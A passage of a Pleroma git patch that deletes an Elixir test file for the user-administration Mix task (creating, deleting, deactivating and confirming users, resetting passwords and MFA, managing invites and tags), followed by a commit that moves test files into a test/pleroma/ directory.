Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import ExUnit.CaptureIO - import Mock - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running new" do - test "user is created" do - # just get random data - unsaved = build(:user) - - # prepare to answer yes - send(self(), {:mix_shell_input, :yes?, true}) - - Mix.Tasks.Pleroma.User.run([ - "new", - unsaved.nickname, - unsaved.email, - "--name", - unsaved.name, - "--bio", - unsaved.bio, - "--password", - "test", - "--moderator", - "--admin" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "user will be created" - - assert_received {:mix_shell, :yes?, [message]} - assert message =~ "Continue" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "created" - - user = User.get_cached_by_nickname(unsaved.nickname) - assert user.name == unsaved.name - assert user.email == unsaved.email - assert user.bio == unsaved.bio - assert user.is_moderator - assert user.is_admin - end - - test "user is not created" do - unsaved = build(:user) - - # prepare to answer no - send(self(), {:mix_shell_input, :yes?, false}) - - Mix.Tasks.Pleroma.User.run(["new", unsaved.nickname, unsaved.email]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "user will be created" - - assert_received {:mix_shell, :yes?, [message]} - assert message =~ "Continue" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "will not be created" - - refute User.get_cached_by_nickname(unsaved.nickname) - end - end - - describe "running rm" do - test "user is deleted" do - clear_config([:instance, :federating], true) - user = insert(:user) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) - ObanHelpers.perform_all() - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deleted" - assert %{deactivated: true} = User.get_by_nickname(user.nickname) - - assert called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "a remote user's create activity is deleted when the object has been pruned" do - user = insert(:user) - user2 = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "uguu"}) - {:ok, post2} = CommonAPI.post(user2, %{status: "test"}) - obj = Object.normalize(post2) - - {:ok, like_object, meta} = Pleroma.Web.ActivityPub.Builder.like(user, obj) - - {:ok, like_activity, _meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline( - like_object, - Keyword.put(meta, :local, true) - ) - - like_activity.data["object"] - |> Pleroma.Object.get_by_ap_id() - |> Repo.delete() - - clear_config([:instance, :federating], true) - - object = Object.normalize(post) - Object.prune(object) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) - ObanHelpers.perform_all() - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deleted" - assert %{deactivated: true} = User.get_by_nickname(user.nickname) - - assert called(Pleroma.Web.Federator.publish(:_)) - refute Pleroma.Repo.get(Pleroma.Activity, like_activity.id) - end - - refute Activity.get_by_id(post.id) - end - - test "no user to delete" do - Mix.Tasks.Pleroma.User.run(["rm", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running toggle_activated" do - test "user is deactivated" do - user = insert(:user) - - Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deactivated" - - user = User.get_cached_by_nickname(user.nickname) - assert user.deactivated - end - - test "user is activated" do - user = insert(:user, deactivated: true) - - Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ " activated" - - user = User.get_cached_by_nickname(user.nickname) - refute user.deactivated - end - - test "no user to toggle" do - Mix.Tasks.Pleroma.User.run(["toggle_activated", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No user" - end - end - - describe "running deactivate" do - test "user is unsubscribed" do - followed = insert(:user) - remote_followed = insert(:user, local: false) - user = insert(:user) - - User.follow(user, followed, :follow_accept) - User.follow(user, remote_followed, :follow_accept) - - Mix.Tasks.Pleroma.User.run(["deactivate", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Deactivating" - - # Note that the task has delay :timer.sleep(500) - assert_received {:mix_shell, :info, [message]} - assert message =~ "Successfully unsubscribed" - - user = User.get_cached_by_nickname(user.nickname) - assert Enum.empty?(Enum.filter(User.get_friends(user), & &1.local)) - assert user.deactivated - end - - test "no user to deactivate" do - Mix.Tasks.Pleroma.User.run(["deactivate", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No user" - end - end - - describe "running set" do - test "All statuses set" do - user = insert(:user) - - Mix.Tasks.Pleroma.User.run([ - "set", - user.nickname, - "--admin", - "--confirmed", - "--locked", - "--moderator" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Confirmation pending .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Locked status .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* true/ - - user = User.get_cached_by_nickname(user.nickname) - assert user.is_moderator - assert user.locked - assert user.is_admin - refute user.confirmation_pending - end - - test "All statuses unset" do - user = - insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) - - Mix.Tasks.Pleroma.User.run([ - "set", - user.nickname, - "--no-admin", - "--no-confirmed", - "--no-locked", - "--no-moderator" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Confirmation pending .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Locked status .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* false/ - - user = User.get_cached_by_nickname(user.nickname) - refute user.is_moderator - refute user.locked - refute user.is_admin - assert user.confirmation_pending - end - - test "no user to set status" do - Mix.Tasks.Pleroma.User.run(["set", "nonexistent", "--moderator"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running reset_password" do - test "password reset token is generated" do - user = insert(:user) - - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run(["reset_password", user.nickname]) - end) =~ "URL:" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated" - end - - test "no user to reset password" do - Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running reset_mfa" do - test "disables MFA" do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} - } - ) - - Mix.Tasks.Pleroma.User.run(["reset_mfa", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message == "Multi-Factor Authentication disabled for #{user.nickname}" - - assert %{enabled: false, totp: false} == - user.nickname - |> User.get_cached_by_nickname() - |> MFA.mfa_settings() - end - - test "no user to reset MFA" do - Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running invite" do - test "invite token is generated" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run(["invite"]) - end) =~ "http" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token one time" - end - - test "token is generated with expires_at" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--expires-at", - Date.to_string(Date.utc_today()) - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token date limited" - end - - test "token is generated with max use" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--max-use", - "5" - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token reusable" - end - - test "token is generated with max use and expires date" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--max-use", - "5", - "--expires-at", - Date.to_string(Date.utc_today()) - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token reusable date limited" - end - end - - describe "running invites" do - test "invites are listed" do - {:ok, invite} = Pleroma.UserInviteToken.create_invite() - - {:ok, invite2} = - Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 15}) - - # assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invites" - ]) - - # end) - - assert_received {:mix_shell, :info, [message]} - assert_received {:mix_shell, :info, [message2]} - assert_received {:mix_shell, :info, [message3]} - assert message =~ "Invites list:" - assert message2 =~ invite.invite_type - assert message3 =~ invite2.invite_type - end - end - - describe "running revoke_invite" do - test "invite is revoked" do - {:ok, invite} = Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) - - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "revoke_invite", - invite.token - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Invite for token #{invite.token} was revoked." - end - - test "it prints an error message when invite is not exist" do - Mix.Tasks.Pleroma.User.run(["revoke_invite", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No invite found" - end - end - - describe "running delete_activities" do - test "activities are deleted" do - %{nickname: nickname} = insert(:user) - - assert :ok == Mix.Tasks.Pleroma.User.run(["delete_activities", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "User #{nickname} statuses deleted." - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["delete_activities", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running toggle_confirmed" do - test "user is confirmed" do - %{id: id, nickname: nickname} = insert(:user, confirmation_pending: false) - - assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "#{nickname} needs confirmation." - - user = Repo.get(User, id) - assert user.confirmation_pending - assert user.confirmation_token - end - - test "user is not confirmed" do - %{id: id, nickname: nickname} = - insert(:user, confirmation_pending: true, confirmation_token: "some token") - - assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "#{nickname} doesn't need confirmation." - - user = Repo.get(User, id) - refute user.confirmation_pending - refute user.confirmation_token - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["toggle_confirmed", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "search" do - test "it returns users matching" do - user = insert(:user) - moon = insert(:user, nickname: "moon", name: "fediverse expert moon") - moot = insert(:user, nickname: "moot") - kawen = insert(:user, nickname: "kawen", name: "fediverse expert moon") - - {:ok, user} = User.follow(user, moon) - - assert [moon.id, kawen.id] == User.Search.search("moon") |> Enum.map(& &1.id) - - res = User.search("moo") |> Enum.map(& &1.id) - assert Enum.sort([moon.id, moot.id, kawen.id]) == Enum.sort(res) - - assert [kawen.id, moon.id] == User.Search.search("expert fediverse") |> Enum.map(& &1.id) - - assert [moon.id, kawen.id] == - User.Search.search("expert fediverse", for_user: user) |> Enum.map(& &1.id) - end - end - - describe "signing out" do - test "it deletes all user's tokens and authorizations" do - user = insert(:user) - insert(:oauth_token, user: user) - insert(:oauth_authorization, user: user) - - assert Repo.get_by(Token, user_id: user.id) - assert Repo.get_by(Authorization, user_id: user.id) - - :ok = Mix.Tasks.Pleroma.User.run(["sign_out", user.nickname]) - - refute Repo.get_by(Token, user_id: user.id) - refute Repo.get_by(Authorization, user_id: user.id) - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["sign_out", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "tagging" do - test "it add tags to a user" do - user = insert(:user) - - :ok = Mix.Tasks.Pleroma.User.run(["tag", user.nickname, "pleroma"]) - - user = User.get_cached_by_nickname(user.nickname) - assert "pleroma" in user.tags - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["tag", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "Could not change user tags" - end - end - - describe "untagging" do - test "it deletes tags from a user" do - user = insert(:user, tags: ["pleroma"]) - assert "pleroma" in user.tags - - :ok = Mix.Tasks.Pleroma.User.run(["untag", user.nickname, "pleroma"]) - - user = User.get_cached_by_nickname(user.nickname) - assert Enum.empty?(user.tags) - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["untag", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "Could not change user tags" - end - end - - describe "bulk confirm and unconfirm" do - test "confirm all" do - user1 = insert(:user, confirmation_pending: true) - user2 = insert(:user, confirmation_pending: true) - - assert user1.confirmation_pending - assert user2.confirmation_pending - - Mix.Tasks.Pleroma.User.run(["confirm_all"]) - - user1 = User.get_cached_by_nickname(user1.nickname) - user2 = User.get_cached_by_nickname(user2.nickname) - - refute user1.confirmation_pending - refute user2.confirmation_pending - end - - test "unconfirm all" do - user1 = insert(:user, confirmation_pending: false) - user2 = insert(:user, confirmation_pending: false) - admin = insert(:user, is_admin: true, confirmation_pending: false) - mod = insert(:user, is_moderator: true, confirmation_pending: false) - - refute user1.confirmation_pending - refute user2.confirmation_pending - - Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) - - user1 = User.get_cached_by_nickname(user1.nickname) - user2 = User.get_cached_by_nickname(user2.nickname) - admin = User.get_cached_by_nickname(admin.nickname) - mod = User.get_cached_by_nickname(mod.nickname) - - assert user1.confirmation_pending - assert user2.confirmation_pending - refute admin.confirmation_pending - refute mod.confirmation_pending - end - end -end -- cgit v1.2.3 From 7dffaef4799b0e867e91e19b76567c0e1a19bb43 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 23 Jun 2020 18:16:47 +0300 Subject: tests consistency --- test/activity/ir/topics_test.exs | 145 -- test/activity_test.exs | 234 -- test/bbs/handler_test.exs | 89 - test/bookmark_test.exs | 56 - test/captcha_test.exs | 118 - test/chat/message_reference_test.exs | 29 - test/chat_test.exs | 83 - test/config/config_db_test.exs | 546 ----- test/config/deprecation_warnings_test.exs | 140 -- test/config/holder_test.exs | 31 - test/config/loader_test.exs | 29 - test/config/transfer_task_test.exs | 120 -- test/config_test.exs | 139 -- test/conversation/participation_test.exs | 363 ---- test/conversation_test.exs | 199 -- test/docs/generator_test.exs | 226 -- test/earmark_renderer_test.exs | 79 - test/emails/admin_email_test.exs | 69 - test/emails/mailer_test.exs | 55 - test/emails/user_email_test.exs | 48 - test/emoji/formatter_test.exs | 49 - test/emoji/loader_test.exs | 83 - test/emoji_test.exs | 43 - test/federation/federation_test.exs | 47 - test/filter_test.exs | 158 -- test/fixtures/modules/runtime_module.ex | 2 +- test/following_relationship_test.exs | 47 - test/formatter_test.exs | 312 --- test/healthcheck_test.exs | 33 - test/html_test.exs | 255 --- test/http/adapter_helper/gun_test.exs | 84 - test/http/adapter_helper/hackney_test.exs | 35 - test/http/adapter_helper_test.exs | 28 - test/http/request_builder_test.exs | 85 - test/http_test.exs | 70 - test/integration/mastodon_websocket_test.exs | 128 -- test/job_queue_monitor_test.exs | 70 - test/keys_test.exs | 24 - test/list_test.exs | 149 -- test/marker_test.exs | 78 - test/mfa/backup_codes_test.exs | 15 - test/mfa/totp_test.exs | 21 - test/mfa_test.exs | 52 - .../notification_backfill_test.exs | 56 - test/moderation_log_test.exs | 297 --- test/notification_test.exs | 1144 ---------- test/object/containment_test.exs | 125 -- test/object/fetcher_test.exs | 245 --- test/object_test.exs | 402 ---- test/otp_version_test.exs | 42 - test/pagination_test.exs | 92 - test/pleroma/activity/ir/topics_test.exs | 145 ++ test/pleroma/activity_test.exs | 234 ++ test/pleroma/bbs/handler_test.exs | 89 + test/pleroma/bookmark_test.exs | 56 + test/pleroma/captcha_test.exs | 118 + test/pleroma/chat/message_reference_test.exs | 29 + test/pleroma/chat_test.exs | 83 + test/pleroma/config/deprecation_warnings_test.exs | 140 ++ test/pleroma/config/holder_test.exs | 31 + test/pleroma/config/loader_test.exs | 29 + test/pleroma/config/transfer_task_test.exs | 120 ++ test/pleroma/config_db_test.exs | 546 +++++ test/pleroma/config_test.exs | 139 ++ test/pleroma/conversation/participation_test.exs | 363 ++++ test/pleroma/conversation_test.exs | 199 ++ test/pleroma/docs/generator_test.exs | 226 ++ test/pleroma/earmark_renderer_test.exs | 79 + .../object_validators/date_time_test.exs | 36 + .../object_validators/object_id_test.exs | 41 + .../object_validators/recipients_test.exs | 31 + .../object_validators/safe_text_test.exs | 30 + test/pleroma/emails/admin_email_test.exs | 69 + test/pleroma/emails/mailer_test.exs | 55 + test/pleroma/emails/user_email_test.exs | 48 + test/pleroma/emoji/formatter_test.exs | 49 + test/pleroma/emoji/loader_test.exs | 83 + test/pleroma/emoji_test.exs | 43 + test/pleroma/filter_test.exs | 158 ++ test/pleroma/following_relationship_test.exs | 47 + test/pleroma/formatter_test.exs | 312 +++ test/pleroma/healthcheck_test.exs | 33 + test/pleroma/html_test.exs | 255 +++ test/pleroma/http/adapter_helper/gun_test.exs | 84 + test/pleroma/http/adapter_helper/hackney_test.exs | 35 + test/pleroma/http/adapter_helper_test.exs | 28 + test/pleroma/http/request_builder_test.exs | 85 + test/pleroma/http_test.exs | 70 + test/pleroma/instances/instance_test.exs | 152 ++ test/pleroma/instances_test.exs | 124 ++ test/pleroma/integration/federation_test.exs | 47 + .../integration/mastodon_websocket_test.exs | 128 ++ test/pleroma/job_queue_monitor_test.exs | 70 + test/pleroma/keys_test.exs | 24 + test/pleroma/list_test.exs | 149 ++ test/pleroma/marker_test.exs | 78 + test/pleroma/mfa/backup_codes_test.exs | 15 + test/pleroma/mfa/totp_test.exs | 21 + test/pleroma/mfa_test.exs | 52 + .../notification_backfill_test.exs | 56 + test/pleroma/moderation_log_test.exs | 297 +++ test/pleroma/notification_test.exs | 1144 ++++++++++ test/pleroma/object/containment_test.exs | 125 ++ test/pleroma/object/fetcher_test.exs | 245 +++ test/pleroma/object_test.exs | 402 ++++ test/pleroma/otp_version_test.exs | 42 + test/pleroma/pagination_test.exs | 92 + test/pleroma/registration_test.exs | 59 + test/pleroma/repo_test.exs | 80 + test/pleroma/reverse_proxy_test.exs | 336 +++ test/pleroma/runtime_test.exs | 12 + test/pleroma/safe_jsonb_set_test.exs | 16 + test/pleroma/scheduled_activity_test.exs | 105 + test/pleroma/signature_test.exs | 134 ++ test/pleroma/stats_test.exs | 122 ++ .../upload/filter/anonymize_filename_test.exs | 42 + test/pleroma/upload/filter/dedupe_test.exs | 32 + test/pleroma/upload/filter/mogrifun_test.exs | 44 + test/pleroma/upload/filter/mogrify_test.exs | 41 + test/pleroma/upload/filter_test.exs | 33 + test/pleroma/upload_test.exs | 287 +++ test/pleroma/uploaders/local_test.exs | 55 + test/pleroma/uploaders/s3_test.exs | 88 + test/pleroma/user/notification_setting_test.exs | 21 + test/pleroma/user_invite_token_test.exs | 96 + test/pleroma/user_relationship_test.exs | 130 ++ test/pleroma/user_search_test.exs | 362 ++++ test/pleroma/user_test.exs | 2124 ++++++++++++++++++ .../activity_pub/activity_pub_controller_test.exs | 1550 ++++++++++++++ .../pleroma/web/activity_pub/activity_pub_test.exs | 2260 ++++++++++++++++++++ .../force_bot_unlisted_policy_test.exs | 60 + .../mrf/activity_expiration_policy_test.exs | 84 + .../mrf/anti_followbot_policy_test.exs | 72 + .../mrf/anti_link_spam_policy_test.exs | 166 ++ .../activity_pub/mrf/ensure_re_prepended_test.exs | 92 + .../activity_pub/mrf/hellthread_policy_test.exs | 92 + .../web/activity_pub/mrf/keyword_policy_test.exs | 225 ++ .../mrf/media_proxy_warming_policy_test.exs | 53 + .../web/activity_pub/mrf/mention_policy_test.exs | 96 + .../mrf/no_placeholder_text_policy_test.exs | 37 + .../web/activity_pub/mrf/normalize_markup_test.exs | 42 + .../activity_pub/mrf/object_age_policy_test.exs | 148 ++ .../activity_pub/mrf/reject_non_public_test.exs | 100 + .../web/activity_pub/mrf/simple_policy_test.exs | 539 +++++ .../activity_pub/mrf/steal_emoji_policy_test.exs | 68 + .../web/activity_pub/mrf/subchain_policy_test.exs | 33 + .../web/activity_pub/mrf/tag_policy_test.exs | 123 ++ .../mrf/user_allow_list_policy_test.exs | 31 + .../activity_pub/mrf/vocabulary_policy_test.exs | 106 + test/pleroma/web/activity_pub/mrf_test.exs | 90 + test/pleroma/web/activity_pub/pipeline_test.exs | 179 ++ test/pleroma/web/activity_pub/publisher_test.exs | 365 ++++ test/pleroma/web/activity_pub/relay_test.exs | 168 ++ .../pleroma/web/activity_pub/side_effects_test.exs | 639 ++++++ .../transmogrifier/announce_handling_test.exs | 172 ++ .../transmogrifier/chat_message_test.exs | 171 ++ .../transmogrifier/delete_handling_test.exs | 114 + .../transmogrifier/emoji_react_handling_test.exs | 61 + .../transmogrifier/follow_handling_test.exs | 208 ++ .../transmogrifier/like_handling_test.exs | 78 + .../transmogrifier/undo_handling_test.exs | 185 ++ .../web/activity_pub/transmogrifier_test.exs | 1220 +++++++++++ test/pleroma/web/activity_pub/utils_test.exs | 548 +++++ .../web/activity_pub/views/object_view_test.exs | 84 + .../web/activity_pub/views/user_view_test.exs | 180 ++ test/pleroma/web/activity_pub/visibility_test.exs | 230 ++ .../controllers/admin_api_controller_test.exs | 2034 ++++++++++++++++++ .../controllers/config_controller_test.exs | 1465 +++++++++++++ .../controllers/invite_controller_test.exs | 281 +++ .../media_proxy_cache_controller_test.exs | 167 ++ .../controllers/oauth_app_controller_test.exs | 220 ++ .../controllers/relay_controller_test.exs | 99 + .../controllers/report_controller_test.exs | 372 ++++ .../controllers/status_controller_test.exs | 202 ++ test/pleroma/web/admin_api/search_test.exs | 190 ++ .../web/admin_api/views/report_view_test.exs | 146 ++ test/pleroma/web/api_spec/schema_examples_test.exs | 43 + test/pleroma/web/auth/auth_controller_test.exs | 242 +++ test/pleroma/web/auth/authenticator_test.exs | 42 + test/pleroma/web/auth/basic_auth_test.exs | 46 + .../web/auth/pleroma_authenticator_test.exs | 48 + test/pleroma/web/auth/totp_authenticator_test.exs | 51 + test/pleroma/web/chat_channel_test.exs | 41 + test/pleroma/web/common_api/utils_test.exs | 593 +++++ test/pleroma/web/common_api_test.exs | 1244 +++++++++++ test/pleroma/web/fallback_test.exs | 80 + test/pleroma/web/federator_test.exs | 173 ++ test/pleroma/web/feed/tag_controller_test.exs | 197 ++ test/pleroma/web/feed/user_controller_test.exs | 265 +++ .../controllers/account_controller_test.exs | 1536 +++++++++++++ .../controllers/app_controller_test.exs | 60 + .../controllers/auth_controller_test.exs | 159 ++ .../controllers/conversation_controller_test.exs | 209 ++ .../controllers/custom_emoji_controller_test.exs | 23 + .../controllers/domain_block_controller_test.exs | 79 + .../controllers/filter_controller_test.exs | 152 ++ .../controllers/follow_request_controller_test.exs | 74 + .../controllers/instance_controller_test.exs | 87 + .../controllers/list_controller_test.exs | 176 ++ .../controllers/marker_controller_test.exs | 131 ++ .../controllers/media_controller_test.exs | 146 ++ .../controllers/notification_controller_test.exs | 626 ++++++ .../controllers/poll_controller_test.exs | 171 ++ .../controllers/report_controller_test.exs | 95 + .../scheduled_activity_controller_test.exs | 139 ++ .../controllers/search_controller_test.exs | 413 ++++ .../controllers/status_controller_test.exs | 1743 +++++++++++++++ .../controllers/subscription_controller_test.exs | 199 ++ .../controllers/suggestion_controller_test.exs | 18 + .../controllers/timeline_controller_test.exs | 560 +++++ .../web/mastodon_api/masto_fe_controller_test.exs | 85 + .../mastodon_api/mastodon_api_controller_test.exs | 34 + .../pleroma/web/mastodon_api/mastodon_api_test.exs | 103 + .../web/mastodon_api/update_credentials_test.exs | 529 +++++ .../web/mastodon_api/views/account_view_test.exs | 575 +++++ .../mastodon_api/views/conversation_view_test.exs | 44 + .../web/mastodon_api/views/list_view_test.exs | 32 + .../web/mastodon_api/views/marker_view_test.exs | 29 + .../mastodon_api/views/notification_view_test.exs | 231 ++ .../web/mastodon_api/views/poll_view_test.exs | 167 ++ .../views/scheduled_activity_view_test.exs | 68 + .../web/mastodon_api/views/status_view_test.exs | 664 ++++++ .../mastodon_api/views/subscription_view_test.exs | 23 + .../web/media_proxy/invalidation/http_test.exs | 43 + .../web/media_proxy/invalidation/script_test.exs | 30 + test/pleroma/web/media_proxy/invalidation_test.exs | 68 + .../media_proxy/media_proxy_controller_test.exs | 342 +++ test/pleroma/web/media_proxy_test.exs | 234 ++ test/pleroma/web/metadata/player_view_test.exs | 33 + test/pleroma/web/metadata/providers/feed_test.exs | 18 + .../web/metadata/providers/open_graph_test.exs | 96 + .../pleroma/web/metadata/providers/rel_me_test.exs | 21 + .../metadata/providers/restrict_indexing_test.exs | 27 + .../web/metadata/providers/twitter_card_test.exs | 150 ++ test/pleroma/web/metadata/utils_test.exs | 32 + test/pleroma/web/metadata_test.exs | 49 + test/pleroma/web/mongoose_im_controller_test.exs | 81 + test/pleroma/web/node_info_test.exs | 188 ++ test/pleroma/web/o_auth/app_test.exs | 44 + test/pleroma/web/o_auth/authorization_test.exs | 77 + .../pleroma/web/o_auth/ldap_authorization_test.exs | 135 ++ test/pleroma/web/o_auth/mfa_controller_test.exs | 306 +++ test/pleroma/web/o_auth/o_auth_controller_test.exs | 1232 +++++++++++ test/pleroma/web/o_auth/token/utils_test.exs | 53 + test/pleroma/web/o_auth/token_test.exs | 72 + .../web/o_status/o_status_controller_test.exs | 338 +++ .../controllers/account_controller_test.exs | 284 +++ .../controllers/chat_controller_test.exs | 410 ++++ .../controllers/conversation_controller_test.exs | 136 ++ .../controllers/emoji_pack_controller_test.exs | 604 ++++++ .../controllers/emoji_reaction_controller_test.exs | 149 ++ .../controllers/mascot_controller_test.exs | 73 + .../controllers/notification_controller_test.exs | 68 + .../controllers/scrobble_controller_test.exs | 60 + .../two_factor_authentication_controller_test.exs | 264 +++ .../views/chat_message_reference_view_test.exs | 72 + .../web/pleroma_api/views/chat_view_test.exs | 49 + .../web/pleroma_api/views/scrobble_view_test.exs | 20 + .../admin_secret_authentication_plug_test.exs | 75 + .../pleroma/web/plugs/authentication_plug_test.exs | 125 ++ .../web/plugs/basic_auth_decoder_plug_test.exs | 35 + test/pleroma/web/plugs/cache_control_test.exs | 20 + test/pleroma/web/plugs/cache_test.exs | 186 ++ .../web/plugs/ensure_authenticated_plug_test.exs | 96 + .../ensure_public_or_authenticated_plug_test.exs | 48 + .../web/plugs/ensure_user_key_plug_test.exs | 29 + test/pleroma/web/plugs/federating_plug_test.exs | 31 + test/pleroma/web/plugs/http_security_plug_test.exs | 140 ++ .../pleroma/web/plugs/http_signature_plug_test.exs | 89 + test/pleroma/web/plugs/idempotency_plug_test.exs | 110 + test/pleroma/web/plugs/instance_static_test.exs | 65 + .../web/plugs/legacy_authentication_plug_test.exs | 82 + .../mapped_signature_to_identity_plug_test.exs | 59 + test/pleroma/web/plugs/o_auth_plug_test.exs | 80 + test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 210 ++ test/pleroma/web/plugs/plug_helper_test.exs | 91 + test/pleroma/web/plugs/rate_limiter_test.exs | 263 +++ test/pleroma/web/plugs/remote_ip_test.exs | 108 + .../web/plugs/session_authentication_plug_test.exs | 63 + test/pleroma/web/plugs/set_format_plug_test.exs | 38 + test/pleroma/web/plugs/set_locale_plug_test.exs | 46 + .../web/plugs/set_user_session_id_plug_test.exs | 45 + .../pleroma/web/plugs/uploaded_media_plug_test.exs | 43 + test/pleroma/web/plugs/user_enabled_plug_test.exs | 59 + test/pleroma/web/plugs/user_fetcher_plug_test.exs | 41 + test/pleroma/web/plugs/user_is_admin_plug_test.exs | 37 + test/pleroma/web/push/impl_test.exs | 344 +++ test/pleroma/web/rel_me_test.exs | 48 + test/pleroma/web/rich_media/helpers_test.exs | 86 + test/pleroma/web/rich_media/parser_test.exs | 176 ++ .../rich_media/parsers/ttl/aws_signed_url_test.exs | 82 + .../web/rich_media/parsers/twitter_card_test.exs | 127 ++ .../web/static_fe/static_fe_controller_test.exs | 196 ++ test/pleroma/web/streamer_test.exs | 767 +++++++ test/pleroma/web/twitter_api/controller_test.exs | 138 ++ .../web/twitter_api/password_controller_test.exs | 81 + .../twitter_api/remote_follow_controller_test.exs | 350 +++ test/pleroma/web/twitter_api/twitter_api_test.exs | 432 ++++ .../web/twitter_api/util_controller_test.exs | 437 ++++ test/pleroma/web/uploader_controller_test.exs | 43 + test/pleroma/web/views/error_view_test.exs | 36 + .../web/web_finger/web_finger_controller_test.exs | 94 + test/pleroma/web/web_finger_test.exs | 116 + .../workers/cron/digest_emails_worker_test.exs | 54 + .../workers/cron/new_users_digest_worker_test.exs | 45 + .../workers/scheduled_activity_worker_test.exs | 49 + test/pleroma/xml_builder_test.exs | 65 + .../admin_secret_authentication_plug_test.exs | 75 - test/plugs/authentication_plug_test.exs | 125 -- test/plugs/basic_auth_decoder_plug_test.exs | 35 - test/plugs/cache_control_test.exs | 20 - test/plugs/cache_test.exs | 186 -- test/plugs/ensure_authenticated_plug_test.exs | 96 - .../ensure_public_or_authenticated_plug_test.exs | 48 - test/plugs/ensure_user_key_plug_test.exs | 29 - test/plugs/http_security_plug_test.exs | 140 -- test/plugs/http_signature_plug_test.exs | 89 - test/plugs/idempotency_plug_test.exs | 110 - test/plugs/instance_static_test.exs | 65 - test/plugs/legacy_authentication_plug_test.exs | 82 - .../mapped_identity_to_signature_plug_test.exs | 59 - test/plugs/oauth_plug_test.exs | 80 - test/plugs/oauth_scopes_plug_test.exs | 210 -- test/plugs/rate_limiter_test.exs | 263 --- test/plugs/remote_ip_test.exs | 108 - 